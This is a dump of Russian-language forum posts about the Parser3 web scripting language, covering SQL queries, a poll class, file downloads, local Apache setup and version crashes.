код из del.html, котрый должен удалять запись:\
[code]\
^base_conn{\
<form>\
...\
<input type=\"submit\" name=\"delete\" value=\"удалить\">\
...\
^if($form:delete){\
^void:sql{delete from faq where id='$id_d'}\
$response:location[http://$env:SERVER_NAME/supp/faq/]\
}\
</form>\
}\
[/code]\
подключение нормально пашет - содержимое записи выводится.\
код НЕ удаляет запись и не работает response."
"20065","пишешь\
[code]^if($form:delete){...}[/code]\
а ссылке $form:delete не указан\
<a href=\"del.html?id=$faq.id\">DELETE</a>\
Верно:\
<a href=\"del.html?id=$faq.id[b]&del=1[/b]\">DELETE</a>"
"20066","http://crimnet.invex.ru/poll/text/"
"20067","мне хотелось бы получить переменную из matcha количество найденых совпадений"
"20068","[code]\
$cnt(0)\
$out_str[^in_str.match[шаблон][g...]{на что меняем^cnt.inc(1)}]\
[/code]"
"20069","я пользуюсь поиском и соответствующими документациями для того, чтобы находить ответы на вопросы.\
\
просто это просили уже несколько раз... поэтому оно в \"туду\"."
"20070","это я понял\
но посмотрим в доки и\
http://www.parser.ru/docs/lang/?parserscript.htm\
а вот ещё\
http://www.parser.ru/docs/lang/?parsermailreceive.htm\
\
или это только планы на будущее???"
"20071","Только что сам думал, как это жЫш реализовать"
"20074","Спрашиваю потомучто не получилось ни разу. В лучшем случае получалось увидеть версию парсера."
"20075","Делать select count(*) from market where date='^now.sql-string[]' ??"
"20076","Тут на форуме какой-то добрый человек помниться раздавал, даже мне помниться достался ... но винт-зараза сдох. Короче у кого такое было -- тот поймет.\
\
Искал, искал по форуму, но что-то так и не получилолсь найти того треда.\
\
Может кто помнит где это было или кто его тогда в массы распостранял, помогите ..."
"20077","Сначала я делаю простую выборку из базы всех записей\
select category from market\
А затем я парсером выбираю строки для каждой из категорий\
$cat[^market.select($market.category==1)]\
^cat.count[] - это у меня и есть кол-во записей в одной категории.\
\
Но такой метод выборки так сильно загружает сервер, что страница с данной статистикой загружается спустя секунд 40-60.\
Как мне быть. Подскажите пожалуйста..."
"20079","- Ну и запросы у вас ...\
Сказала База Данных и повисла.\
(с) неизвестный автор\
\
Для начала прочитать доку по SQL и подумать какой результат вернет следующий запрос :\
select count(*), category from market group by category\
ну и про индексы почитать все же не забудьте"
"20082","1. Что за БД?\
2. show fields from market\
3. show index from market\
4. значения всех полей $status:rusage в начале страницы, сразу после ^connect, до и после запроса и в конце страницы.\
\
После ответа на эти вопросы можно будет говорить что-то определенное. Возможно, проблема не там, где ищется."
"20083","Вы частично вылечили мне амнезию, начавшуюся после головной боли от падения винта :)"
"20084","1. [code]\
$count[^hash:sql{SELECT category, COUNT(*) cnt FROM market GROUP BY category}]\
[/code]\
2. сделать индекс на столбце category (если есть что-то в WHERE то сделать составной индекс)\
3. из полученого одним запросом хеша получать количество продуктов категории: $count.[id категории].cnt"
"20085","Господа разработчики, а почему бы не сделать форум в виде просто тредов, как любой нормальный php форум, тот же phpUBB?\
Удобно - раз, крайне наглядно - два, очень хорошо сохранять целую ветку по теме, и потом к ней обратиться - три.\
\
Сейчас же, чтобы пролистать даже одно обсуждение надо недюженным терпением запастись..."
"20087","Позволю себе несогласиться.\
\
Наглядно - да. Этого не отнять.\
Но в плане удобства (читай - юзобилити) это прошлый век, как ни прискобно.\
А главное не позволяет использовать тот информационный потенциал конференции, который в ней заложен как в месте общения людей по своим проблемам.\
\
Посмотрите на тред - любо дорого читать, открыл страницу - вся дискуссия как на ладони. Сохранил. Открыл через пол-года - вот тебе вся информация по этому вопросу..."
"20088","есссно остаюсь при своем мнении."
"20089","Во-первых, хотелось бы иметь возможность получить все сообщения отдельного треда по почте. Сам я читаю форум исключительно из Bat'а, вычищая темы, мне не интересные. Но порой треды, казавшиеся неинтересными, становятся очень даже полезными. Нок  тому моменту оказываются безжалостно стертыми.\
\
Во-вторых, сильно не хватает подписки на новости сайта."
"20090","типа [b]Flat view[/b] / [url=\"http://www.parser.ru/forum/?id=20090\"]Threaded view[/url]\
\
только подозреваю что Миша такими глупостями заниматься не будет..."
"20091","http://kupilprodal.ru\
http://kupilprodal.ru/db/"
"20092","Ее можно посмотреть здесь\
http://kupilprodal.ru/db"
"20093","Не согласен и с этим утверждением.\
Скажу также, что считаю Вашу позицию глупой, однако она от этого не перестаёт быть Вашим личным мнением.\
\
Но мнение мнением, а что Вы можете ответить на мой довод:[quote]\
Посмотрите на тред - любо дорого читать, открыл страницу - вся дискуссия как на ладони. Сохранил. Открыл через пол-года - вот тебе вся информация по этому вопросу...[/quote]"
"20094","Please help!!"
"20095","...этих заголовков с правильным временем сделал пока только для страниц у которых задана id или page."
"20096","делаем из базы select zzz where zzz LIKE \"%$form:query%\"\
\
как вытащить результирующую фразу в контексте? Например, ищем \"спички\", получаем [i]\"как сказал классик, [b]спички[/b] детям не игрушка\"[/i] - т.е. $form:search + по паре слов из контекста справа и слева?\
\
Средствами SQL это реализуемо?"
"20099","но если вам это всё не интересно, попробуем по-другому.\
\
Вариант первый (делаем как в пятом уроке):\
найдите в своём классе все операторы запросов к БД\
[code]^что-либо:sql{ ... }[/code]\
и замените их на\
[code]\
^MAIN:dbconnect{\
^что-либо:sql{ ... }\
}\
[/code]\
\
Вариант второй (делаем как предложено в документации к классу):\
в вашем коде (index.html, например)\
[code]\
^dbconnect{\
^use[ваш_класс.p]\
конструктор\
методы вашего класса \
}\
[/code]\
\
если всё равно не работает, приведите конкретный кусок кода, вам помогут..."
"20100","теперь и на форуме [url]http://www.myweb.kiev.ua/forum/[/url] обсуждается тема птички Parser, так что гнезда появляются надеюсь и птинцы проклюнутся 8))"
"20101","Можно ручками в блокноте написать cookie, если знать содержание?"
"20104","Что-то там про парсер ничего нету.\
Или это грязный рекламный трюк?"
"20105","Есть проблема. Надо при нажатии на картинку вставлять соответствующую ей надпись в <textarea>. Нужно естественно для вставки смайливом. Подскажите как сделать."
"20108","[code]\
telnet www.parser.ru 80\
HEAD /forum/?page=1 HTTP/1.1\
Host: www.parser.ru\
[/code]\
\
\
и видим:\
[code]\
HTTP/1.1 200 OK\
Date: Tue, 26 Aug 2003 18:10:29 GMT\
Server: Apache/1.3.27 (Unix) rus/PL30.16\
expires: Tue, 30 Apr 2002 11:56:13 GMT\
...\
content-length: 28819\
Connection: close\
Content-Type: text/html; charset=WINDOWS-1251\
[/code]\
\
собственно в expires дата последнего сообщения на этой странице.\
аналогично для ?id=xyz, например для ?id=30:\
[code]\
HTTP/1.1 200 OK\
Date: Tue, 26 Aug 2003 18:13:55 GMT\
Server: Apache/1.3.27 (Unix) rus/PL30.16\
expires: Mon, 29 Apr 2002 07:24:20 GMT\
...\
content-length: 6561\
Connection: close\
Content-Type: text/html; charset=WINDOWS-1251\
[/code]"
"20113","вы не говорите что у вас и как сделано, предлагаете самим рыться в вашей базе, пытаться разбираться для того, чтобы помочь ВАМ.\
\
оно кому-нить надо?"
"20114","А индексы я и не знал что нужно расставлять осмысленно, я просто добавлял их к полям которые учавствуют в выборке, таким как category,subcategory соответсвенно к ним индексы key idx_cat category, key idx_sub"
"20115","Значит, выполняю первый вариант, меняю [code]^что-либо:sql{ ... }[/code] на [code]^MAIN:dbconnect{^что-либо:sql{ ... }}[/code]. Ошибки. Ищу. Исправляю. Так несколько раз. При том, что в корневой auto.p написал:\
[code]\
@dbconnect[code] \
^connect[$connect_string]{$code}\
[/code]\
Правильно ли я в нескольких случаях закрыл скобки и вообще вставил ^MAIN:dbconnect точно не уверен. Но ругаться браузер насчет connect-а перестал. Радует. Прохожу еще несколько ошибок. Вроде исправляю. Очередная непроходимая связана со string method not found [b]status[/b].\
[code]^if((def $params.request && $params.request is hash && def $params.request.$path_param) || $poll_info.[b]status[/b] eq \"closed\")[/code]\
\
Приведу все-таки код. Может кому-нибудь будет не лень просмотреть и помочь мне привести в рабочий вид.\
\
[code]\
##############################################\
## Poll creating and supporting class\
@CLASS\
poll\
##############################################\
\
## main constructor\
@create[pi_table_in;pa_table_in;extra][extra]\
## shit class path\
$cl_path[/classes/poll]\
## defining poll_info table\
$pi_table[$pi_table_in]\
## defining poll_answers table\
$pa_table[$pa_table_in]\
## defining date used in methods\
$date_now[^date::now[]]\
## adding extra methods\
^if(def $extra){\
	^try{\
		^if(-f $extra){\
			$extra[^file::load[text;$extra]]\
			^process{^taint[as-is][$extra.text]}\
		}{\
			^throw[parser.runtime;poll;Extra methods file not found]\
		}\
	}{\
		^throw[parser.compile;poll;Extra methods compiling error. Check your extra methods code]\
	}\
}\
######## end of @create[] constructor ########\
\
##############################################\
## creates and runs-in new poll\
@run[params][params;poll_id;answer_keys;id]\
## parameters checking and errors detecting\
^check_params[$params;run]\
## question checking\
^if(!def $params.question){\
	^throw[parser.runtime;poll;Poll question not defined]\
}\
## answers checking\
^if(!def $params.answers || !($params.answers is hash)){\
	^throw[parser.runtime;poll;Answers parameter contains illegal value]\
}\
## inserting poll into $pi_table\
^MAIN:dbconnect{\
^void:sql{\
	INSERT INTO \
		$pi_table (\
			question,\
			type,\
			default_value,\
			button_text,\
			status,\
			dt_started\
		)\
	VALUES\
		(\
		'$params.question',\
		'^if($params.type eq \"checkbox\"){$params.type}{radio}',\
		'^params.default.int(1)',\
		'^if(def $params.button_text){$params.button_text}{Ответить}',\
		'^if($params.status eq \"active\"){$params.status}{closed}',\
		'^date_now.sql-string[]'\
		)\
}\
}\
## extracting last_insert_id()\
$poll_id[^last_insert_id[0]]\
## sorting income answers\
$answer_keys[^params.answers._keys[]]\
^answer_keys.sort($answer_keys.key)\
## inserting answers into $pa_table\
^answer_keys.menu{\
	$id[$answer_keys.key]\
	^if(!($params.answers.$id is hash)){\
		^throw[parser.runtime;poll;Answers must be defined as a hash]\
	}\
	^if(def $params.answers.$id.answer){\
		^MAIN:dbconnect{\
		^void:sql{\
			INSERT INTO\
				$pa_table (\
					poll_id,\
					answer,\
					vote_count\
				)\
			VALUES\
				(\
				'$poll_id',\
				'$params.answers.$id.answer',\
				'^params.answers.$id.vote_count.int(0)'\
				)\
			}\
		}\
	}\
}\
## returns created poll's id and it's status\
$result[$poll_id[$poll_id]$status[^MAIN:dbconnect{^string:sql{SELECT status FROM $pi_table WHERE poll_id = $poll_id}}[$.default{closed}]]]\
######## end of @run[] method ########\
\
######################################\
## draws the poll body on your page\
@show[params][params;poll_id;path_param;cookie;expires;poll;action;answers]\
## parameters checking\
^check_params[$params;show]\
## defining poll_id\
^if(def $params.poll_id && $params.poll_id eq \"last_active\"){\
	$poll_id[^last_insert_id[0]]\
}{\
	$poll_id[^params.poll_id.int(0)]\
}\
## extracting poll from database\
$poll_info[^extract[$poll_id;info]]\
## path parameter defining\
$path_param[^if(def $params.path_param){^taint[xml][$params.path_param]}{vote_for}]\
## detecting vote\
^if((def $params.request && $params.request is hash && def $params.request.$path_param) || $poll_info.status eq \"closed\"){\
## detecting restriction\
	^if(def $params.restrict && $params.restrict is hash){\
## cookie name defining\
		^if(def $params.restrict.cookie){\
			$cookie[${poll_id}_$params.restrict.cookie]\
		}{\
			$cookie[${poll_id}_poll]\
		}\
## expire date defining\
		^if(def $params.restrict.expires){\
			$expires[^params.restrict.expires.int(1)]\
		}{\
			$expires[session]\
		}\
## setting cookie\
		^if(!def $cookie:$cookie){\
			^if($expires eq \"session\"){\
				$cookie:$cookie[$expires]\
			}{\
				$cookie:$cookie($expires)\
			}\
		}{\
## voting restricted\
			$restricted(1)\
		}\
	}\
## updating vote counts\
	^if(!$restricted && def $params.request.$path_param && $params.request.$path_param is table && $poll_info.status ne \"closed\"){\
		^params.request.$path_param.menu{\
			^MAIN:dbconnect{\
			^void:sql{\
				UPDATE	$pa_table\
				SET	vote_count = vote_count+1\
				WHERE	answer_id = '^params.request.$path_param.field.int(0)'\
				AND	poll_id = '$poll_id'\
			}\
		}\
	}\
}\
## user voted or poll closed\
	$action[result]\
}{\
## active poll, no vote submitted\
	$action[answer]\
}\
## hashing poll\
$poll[^poll_info.hash[poll_id]]\
## extracting answers\
$answers[^extract[$poll_id;answers]]\
## hashing answers\
$answers[^answers.hash[answer_id]]\
## inserting answers into $poll hash\
$poll.$poll_id.answers[$answers]\
## adding path parameter\
$poll.$poll_id.path_param[$path_param]\
## extracting total votes for this poll\
$poll.$poll_id.total[^MAIN:dbconnect{^string:sql{SELECT SUM(vote_count) FROM $pa_table WHERE poll_id = '$poll_id' GROUP BY poll_id}}[$.default{0}]]\
	^if($poll.$poll_id.total eq \"0\"){$poll.$poll_id.total[100]}\
## rectriction defining\
$poll.$poll_id.restricted[^if($restricted){yes}{no}]\
## getting poll view\
^if(def $params.skin){\
## processing poll skin\
	^transform[$params.skin;^printPoll[$poll;$action]]\
}{\
## printing poll\
	^printPoll[$poll;$action]\
}\
######## end of @show[] method ########\
\
#######################################\
## updates existing poll\
@update[params][params;poll_id]\
## parameters checking\
^check_params[$params;update]\
## poll_id detecting\
^if(!def $params.poll_id){\
	^throw[parser.runtime;poll;Nothing to update, check your ^$.poll_id[]]\
}{\
	$poll_id(^params.poll_id.int(0))\
	^if($poll_id <= 0){\
		^throw[parser.runtime;poll;Invalid ^$.poll_id[]]\
	}\
}\
## updating poll info\
^if(def $params.question || def $params.type || def $params.status || def $params.default){\
	^MAIN:dbconnect{\
	^void:sql{\
		UPDATE	$pi_table\
		SET	question = ^if(def $params.question){'$params.question'}{question},\
			type = ^if(def $params.type){'^if($params.type eq \"checkbox\"){checkbox}{radio}'}{type},\
			default_value = ^if(def $params.default){'^params.default.int(1)'}{default_value},\
			button_text = ^if(def $params.button_text){'$params.button_text'}{button_text},\
			status = ^if(def $params.status){^if($params.status eq \"active\"){'active', dt_ended = ''}{'closed', dt_ended = '^date_now.sql-string[]'}}{status}\
		WHERE	poll_id = '$poll_id'\
		}\
	}\
}\
## updating answers\
^if(def $params.answers && $params.answers is hash){\
	^params.answers.foreach[key;value]{\
		^if($value is hash){\
			^if(^key.mid(0;3) eq \"new\"){\
## adding new answer to poll\
				^MAIN:dbconnect{\
				^void:sql{\
					INSERT INTO\
						$pa_table\
							(\
							poll_id,\
							answer,\
							vote_count\
							)\
					VALUES\
						(\
						'$poll_id',\
						'$value.answer',\
						'^value.vote_count.int(0)'\
						)\
				}\
			}{\
## deleting answers\
				^if(^key.mid(0;6) eq \"delete\"){\
					^void:sql{\
						UPDATE	$pa_table\
						SET	poll_id = 0\
						WHERE	answer_id = ^value.answer.int(0)\
						AND	poll_id = '$poll_id'\
					}\
				\
				}{\
## updating exist answer\
					^void:sql{\
						UPDATE	$pa_table\
						SET	answer = ^if(def $value.answer){'$value.answer'}{answer},\
							vote_count = ^if(def $value.vote_count){'^value.vote_count.int(0)'}{vote_count}\
						WHERE	answer_id = ^key.int(0)\
						AND	poll_id = '$poll_id'\
						}\
					}\
				}\
			}\
		}\
	}\
}\
######## end of @update[] method ########\
\
##############################################\
## poll_info and poll_answers extractor\
@extract[poll_id;type][poll_id;type]\
^if(def $poll_id){\
	^switch[$type]{\
		^case[info]{$result[^MAIN:dbconnect{\
					^table::sql{\
						SELECT\
							poll_id,\
							question,\
							type,\
							default_value,\
							button_text,\
							status,\
							dt_started,\
							dt_ended\
						FROM	$pi_table\
					^if($poll_id ne \"all\"){\
						WHERE	poll_id = '^poll_id.int(0)'\
						}\
					}\
				}]\
		}\
		^case[answers]{$result[^MAIN:dbconnect{\
					^table::sql{\
						SELECT\
							answer_id,\
							poll_id,\
							answer,\
							vote_count\
						FROM	$pa_table\
					^if($poll_id ne \"all\"){\
						WHERE	poll_id = '^poll_id.int(0)'\
						}\
					}\
				}]\
		}\
		^case[DEFAULT]{$result[]}\
	}\
}{\
	$result[]\
}\
######## end of @extract[] method ############\
\
##############################################\
@last_insert_id[default][default]\
$result[^MAIN:dbconnect{^string:sql{SELECT MAX(poll_id) FROM $pi_table}[$.default{$default}]}]\
######## end of @last_insert_id[] method ########\
\
##############################################\
## parameters hash checker\
@check_params[params;method][params;method]\
^if(!def $params || !($params is hash)){\
	^throw[parser.runtime;poll;Defined none of parameters while calling <b>^#40$method[]</b> method]\
}\
######## end of @check_params[] method #######\
\
#######################################\
## poll xml code generator\
@printPoll[params;action][params;action]\
^try{\
## code generating\
	^params.foreach[p_id;poll]{\
	     <poll id=\"$p_id\" status=\"$poll.status\" type=\"$poll.type\" default=\"$poll.default_value\" restricted=\"$poll.restricted\">\
		<question>$poll.question</question>\
		<${action}s total=\"$poll.total\">\
		^poll.answers.foreach[a_id;answer]{\
			<$action id=\"$a_id\" vote_count=\"$answer.vote_count\">\
				$answer.answer\
			</$action>\
		}\
		</${action}s>\
		<date started=\"$poll.dt_started\" closed=\"$poll.dt_ended\" />\
		<form path=\"$poll.path_param\" action=\"$request:uri\" button=\"$poll.button_text\" />\
	     </poll>\
	}\
}{\
	^throw[parser.compile;poll;printPoll method compiling error.Check your parameters]\
}\
######## end of @printPoll[] method ###\
\
#######################################\
## poll xml xslt transformator\
@transform[xslt_file;xml_code][xslt_file;xml_code;document;transformedDoc]\
$document[^xdoc::create{<?xml version=\"1.0\" encoding=\"$response:charset\"?> \
<document>\
	^untaint{$xml_code}\
</document>}] \
$transformedDoc[^document.transform[$xslt_file]]\
^transformedDoc.string[\
		$.method[html]\
		]\
######## end of @transform[] method ###\
[/code]\
\
Глупо заявлять, что класс писал не я."
"20116","Вопрос по календарику (который в примерах)\
Выделяю текущий день (можно взглянуть здесь - nbsp.ru), хотелось бы ещё определить текущую неделю. Как?"
"20117","Возвращает 0 или 1. Никаких строк."
"20118","[i]«Разговоры о такой входящей в моду вещи как Parser™ от Артемия Лебедева»[/i]\
\
Снова обидно, можно подумать, что сам [url=\"http://www.tema.ru\"]Артемий Лебедев[/url] писал Parser. Настоящих разработчиков ([url=\"http://www.moko.ru\"]Константин Моршнев[/url], [url=\"http://www.paf.design.ru\"]Александр Петросян[/url]) пропустили. Писали бы уж тогда от [url=\"http://www.artlebedev.ru\"]Студии Артемия Лебедева[/url]. Либо поставили бы значок (R), раз не поленились ™ припихнуть. Типа знак товарный.\
\
А вообще сайт походу нулевый, реклама это."
"20119","Идея:\
1. [b]LOCATE('$form:query',zzz)[/b] - позиция первого вхождения.\
2. [b]SUBSTRING(zzz,1,позиция)[/b] - подстрока до первого вхождения.\
3. [b]SUBSTRING(zzz,позиция + ^form:query.length[],length(zzz))[/b] - подстрока после первого вхождения.\
4. [b]SUBSTRING-INDEX(подстрока_до,' ',-2)[/b] - последние 2 слова \"подстроки_до\"\
5. [b] SUBSTRING-INDEX(подстрока_после,' ',2)[/b] - первые 2 слова \"подстроки_после\"\
\
Суммарно:\
[code]CONCAT(\
    SUBSTRING-INDEX(SUBSTRING(zzz,1,LOCATE('$form:query',zzz)),' ',-2),\
    '$form:query',\
    SUBSTRING-INDEX(SUBSTRING(zzz, LOCATE('$form:query',zzz)+^form:query.length[],LENGTH(zzz)),' ',2)\
)[/code]\
\
Минусы (помимо тормозов) - наличие в $form:query спец.символов от LIKE - \"%\" и \"_\" - их надо эскейпить в LIKE и неэскейпить в LOCATE"
"20120","А на чем застопорился?\
Как рассуждал?"
"20121","парсером забирается в одно действие :)!!!!!!!\
вопрос! где-бы взять курс валют и погоду?"
"20122","Сразу хочу себя поправить, честно говоря Я только модератор раздела, и только недавно админ вставил тему и допустил такую ошибку, конечно Я обсалютно согласен с табой, что имена героев не стоит забывать так что ошибка по мере возможности исправиться, а форум будет помогать ^птенцам ;)"
"20123","ну вот пример\
/path/parser3 sendtobase.p\
\
все! и работает! \
\
\
\
\
sendtobase.p\
@auto[]\
\
\
auto.p\
@main[]\
^exe[]\
\
@exe[]\
ляля"
"20124","вот тут:\
[code]$result[$poll_id[$poll_id]$status[^MAIN:dbconnect{^string:sql{SELECT status FROM $pi_table WHERE poll_id = $poll_id}}[$.default{closed}]]][/code]"
"20125","да собственно на том, как определить принадлежность дня к неделе? ведь у класса date нету поля week."
"20126","[b]status[/b]\
\
Указывает на другую строку:\
\
[code]^if((def $params.request && $params.request is hash && def $params.request.$path_param) || $poll_info.status eq \"closed\"){\
[/code]\
\
А в той строчке пробую так:\
\
[code]$result[$poll_id[$poll_id]$status[^MAIN:dbconnect{^string:sql{SELECT status FROM $pi_table WHERE poll_id = $poll_id}[$.default{closed}]}]][/code]\
\
Верно?"
"20127","http://www.parser.ru/docs/lang/?xdocload.htm"
"20130","1. потому что обычно указывается место где ошибка \"вылезла\", а не где \"закралась\"...\
\
2. да, теперь скобки расставлены верно."
"20131","получить уже ранжированный по релевантности ответ -  SELECT * FROM bla WHERE MATCH (title,body) AGAINST ('$form:query');\
А потом простеньким regexp-ом в парсере отрезать(+подсветить) необходимую часть"
"20132","В том то и смысл - не ошибиться, чтобы МЕНЯ не похакали."
"20134","Есть вот такой вот код \
[code]\
\
@body_additional[]\
\
@body_main[]\
^if(def $form:uri){^download_file[$form:uri]}{^list_file[]}\
\
@download_file[uri]\
$response:download[^file::load[binary;/FILES/$uri]]\
\
@list_file[]\
<center><H2>Список фильмов.</H2></center>\
$list[^file:list[/FILES;\\.avi^$]] \
<center>\
^list.menu{\
   <A HREF=\"/video/index.html?uri=$list.name\">^file:justname[$list.name]</A><br>\
$f[^file::stat[/FILES/$list.name]]\
Размер в байтах: $f.size<br> \
#Год создания: $f.cdate.year<br> \
#$new_after[^date::now(-3)] \
#Статус: ^if($f.mdate >= $new_after){новый;старый} \
}[<BR>]\
</center>\
[/code]\
\
так вот вопрос почему при нажатии на ссылку данный код предлагает сохранить текущую страницу, а не файл который передается в параметрах\
\
P.S. а если открыть ссылку в новом окне то код отрабатывает правильно."
"20135","Есть xml файл, но немного неправильный. \
Как поменять\
[code]\
<tag par=val />\
[/code]\
на\
[code]\
<tag par=\"val\" />\
\
[/code]"
"20136","Пожалуйста, подскажите, как ее исправить можно."
"20137","можно еще попробовать поиск... строка поиска 'match', автор - я ;)"
"20143","…он же один из самых известных дизайнеров."
"20144","сколько заплатили вы ему за форум?"
"20147","Не сочтите за назойливось, но, поскольку топик уже давно \"уехал\", хотелось бы расспросить вас поподробней.\
\
Код [code]system \"parser.cgi script.html\";[/code] в лучшем случае выдает версию парсера в эррорлоге апача. В чем может быть проблема?"
"20148","Для тех кто впервые задался вопросом установки виртуального сервера Apache и Parser на своем домашнем компьютере - эта статья самое доступное руководство.\
\
[url=\"http://www.spearance.ru/parser3/apache/\"]Посмотреть статью[/url]\
\
Любые замечания и предложения по статье направляйте в почту."
"20149","Подскажите пожалуйста как лучше сделать:\
Есть таблица в MySQl\
Город Район Тип Наименование Телефон\
\
Нужно выбрать из нее все данные и выводить в заданном виде пл группам  в таком виде:\
\
Город 1\
   Район 1\
       Тип 1\
          Наименование телефон\
          ... ...\
Город 2\
   Район 2\
       Тип 2\
          Наименование телефон\
          ... ...\
\
В таблице заполнена все поля. В общем нужно выводить по группам Город в этой группе район а в этой группе тип.\
\
Теперь вопрос, как решить данную задачу?\
Небольшое предупреждение Mysql не поддерживает вложенные выборки, и оператор group у него работает как то не стандартно.\
\
\
Сам я делаю так сперва выбираю города, затем снова запрос из городов выбираю районы, затем запрос типов, и на каждую полученну таблицу  ^table.menu{ запрос }\
Знаю что некрасиво, знаю что за раз куча запросов к базе, но другого способа не нешел (см предупреждение).\
\
Заранее спасибо."
"20150","уже все работает"
"20152","Шоб не падал Windows рекомендую от него избавиться \
и поставить Linux.\
\
Имея шаловливые ручки и Linux можно повалить, но падает он гораздо изящней и с \"видимыми причинами\".\
\
:-)\
\
PS. хочу про установку PHP!"
"20153","А можно (или я ошибаюсь) задать календарь на неделю и по этой шняге сравнивать?"
"20154","Только ответ будет _не_ ранжированый.\
Чтобы был ранжированный, надо переписать запрос:\
[code]SELECT\
    то_что_надо,\
    MATCH (поля) AGAINST ('$form:query') as rank\
FROM\
    bla\
WHERE\
    MATCH (поля) AGAINST ('$form:query')\
ORDER BY\
    rank[/code]\
Ну а про FULLTEXT INDEX на то, что в скобочках при MATCH уже сказано в заголовке."
"20155","виндовс надо не шаловливыми ручками, а ПРЯМЫМИ и падать ничего не будет. про PHP написано в доке, которая лежит рядом с установкой"
"20156","ПРЯМЫЕ ручки только у вас...\
а работать приходится всем :-)\
\
во всех доках написано про установку, однако автор излагает свою точку зрения на этот процесс."
"20157","цитирую официальную русскую документацию mySql:\
Когда команда MATCH() используется в выражении WHERE, возвращенные строки столбцов автоматически сортируются, начиная с наиболее релевантных ..."
"20158","Линукс сосёт в плане usability, а это самое главное для людей с непрямыми руками. И уж точно человек с непрямыми руками в нём не разберётся."
"20160","Я просто этим давно не пользовался, а в той версии MySQL, которая была у меня тогда - сортировки не было или она как-то не так работала, что приходилось пересортировывать. Вот и осталось в памяти."
"20161","тогда всё прозрачно запускается при старте, это плюс.\
\
Минус в том что всё это дело постоянно висит в памяти, занимая n-ное её количество. Оборзевший MySQL занимал что-то около 20-30 мегов, за что сразу-же был беспощадно удалён. Апач занимает немного, пусть крутится. Но с ярлыками всё-же удобнее, наверное."
"20162","Можно написать простейшие пакетные файлы, запускающие и останавливающие сервис, и поместить их на рабочий стол.\
\
типа так \
[code]\
net start mysql\
[/code]\
\
И чтобы он не жрал много памяти можно покрутить настройки в файле my.ini в каталоге windows, например уменьшить размеры буферов и количество одновременных коннектов, - на локалхосте их будет совсем немного."
"20163","[code]\
$r[^table::sql{\
	SELECT\
		city,\
		district,\
		type,\
		name,\
		phone\
	FROM\
		xyz\
	WHERE\
		...\
	ORDER BY\
		city, district, type, name\
}]\
# не забываем про составняе индексы по полям, которые \
# используются в where и в order by\
\
$prev_city[]\
$prev_district[]\
$prev_type[]\
^menu{\
	^if($prev_city ne $r.city){\
		Город: $r.city<br />\
		$prev_city[$r.city]\
		$prev_district[]\
		$prev_type[]\
	}\
	^if($prev_district ne $r.district){\
		Район: $r.district<br />\
		$prev_district[$r.district]\
		$prev_type[]\
	}\
	^if($prev_type ne $r.type){\
		Тип: $r.type<br />\
		$prev_type[$r.type]\
	}\
	$r.name\
}[<br />]\
[/code]\
\
но можно поизвращаься и воспользоваться хешами (особенно, если нам несколько раз нужно будет обращаться например к записям одного города, или региона)."
"20165","Версия\
parser3.1\
Вызывает ошибку сервера - 500!\
\
apache_error.log:\
Premature end of script headers....\
\
кусок кода:\
$tab[^table::create{x      y}]                 \
^cur.menu{                                     \
$dat[^date::create[$cur.date]]                 \
^tab.append{^eval(5+$i*$len)       ^eval($i*5)}\
^graf.text(^eval(280-$len*$i);202)[$dat.day]   \
^i.inc(1)                                      \
}                                              \
^graf.polyline(0x000000)[$tab] --- эта строка вызывает обрушение парсера\
\
на версии parser3.0.8  тот же код выполняется нормально."
"20168","Поскольку все кричали \"вах-вах-вах, 3,1 нестабильний какой\", я поставил 3,08. а потом он вылетать начал часто и я перешел на 3,1. Доволен как слон. За 2недели ни разу не слетел. Все рулем и все спокойно. Платформа FreeBSD."
"20169","Я не программист, и уж тем более не администратор. \
Но чтож поделаешь, коли работать нужно. Пришлось кое-что почитать, кое-что попробовать и установить все описанное в статье богатство на свой компьютер. Поверьте мне я не в восторге от того что это нельзя было сделать как-то проще (Денвер в расчет не беру).\
\
Я сам для себя поставил задачу сделать из своего домашнего компьютера сборочное рабочее место для сайтов. И я этого добился.\
\
Правильно ли я делал? Да бог его знает, но все что я установил - работает, и работает безотказно.\
\
P.S. Для начинающих и для людей в чьи обязанности не входит администрирование серверов этого вполне достаточно.\
\
По поводу Linux: когда под Linux появятся Photoshop, Illustrator, Corel, FreeHand, Fractal Design Painter и Macromedia Flash тогда я с радостью перейду на него."
"20172","как это меня и удерживает от перехода на Линь - нет кучи графического софта на лине, а GIMP - я изниняюсь, но он сосет - ИМХО."
"20173","сделал, чтобы last-modifyed возвращался только для страниц/тредов, у которых дата изменения древнее 2 недель...\
\
иначе активные треды приходится ручками рефрешить, что неудобно."
"20175","Кеш запросов\
Многотабличное DELETE. UPDATE\
\"Прямой\" полнотекстовый поиск\
UNION\
FORCE INDEX\
Вложеные подзапросы\
..."
"20176","Скорее всего, Parser думает, что его запустил веб-сервер, а не ваш скрипт из-за какой-то переменной окружения. В таком случае, надо или заставить Parser думать, что никакого веб-сервера не существует или наоборот установить для него заголовки как это сделал бы веб-сервер."
"20177","к сщастью отсутствие на линухе фотошопа меня не держит :-)"
"20179","Пока есть только в 4.1 которая альфа ишо, т.е. жутко глючная. PostgreSQL forever!"
"20180","А ты попробу пульни там replace с большой таблицей подстановок по файлу кило на 50 :) Если будешь и дальше радоваться як слон, я буду очень удивлён."
"20181","Задача:\
выбирать из БД данные по конкретной странице и рекурсивно строить url и др.\
Например, url страницы 2го уровня должен быть составным: url1\\url2.html\
\
В auto.p я написал рекурсивную функцию:\
\
@getFullPath[page;id_parent;param]\
^page.menu{\
  ^if($id_parent == 0){\
    $result[$param]\
  }{\
    ^if($page.id == $id_parent){\
      $param[\
        $.url[${page.url}${param.url}]\
        $.name[<a href='${page.url}'>${page.name}</a> :: ${param.name}]\
        $.template[${page.template}${param.template}]\
        $.url[${page.content}${param.content}]\
      ]\
      ^getFullPath[$page;$page.id_parent;$param]\
    }\
  }\
}\
\
И вызываю ее так:\
\
# выбираем данные о страницах из БД\
$page[^table::sql{select * from page}]\
... код который определяет нужную страницу\
# инициализируем хэш\
$param[\
  $.url[$page.url]\
  $.name[$page.name]\
  $.template[$page.template]\
  $.content[$page.content]\
]\
# вызываем процедуру\
$paths[^getFullPath[$page;$page.id_parent;$param]]\
# так можно распечатать результат\
$paths.name : $paths.url : $paths.template : $path.content \
\
Вопрос: \
Правильно ли сделано, что можно улучшить ?"
"20182","W2K-server, Parser 3.1\
Делаю копи-паст примера на полилайн из последнего мануала и благополучно получаю пятисотую ошибку. Соответственно, когда коментаришь строку с полилайном, пятисотая изчезает."
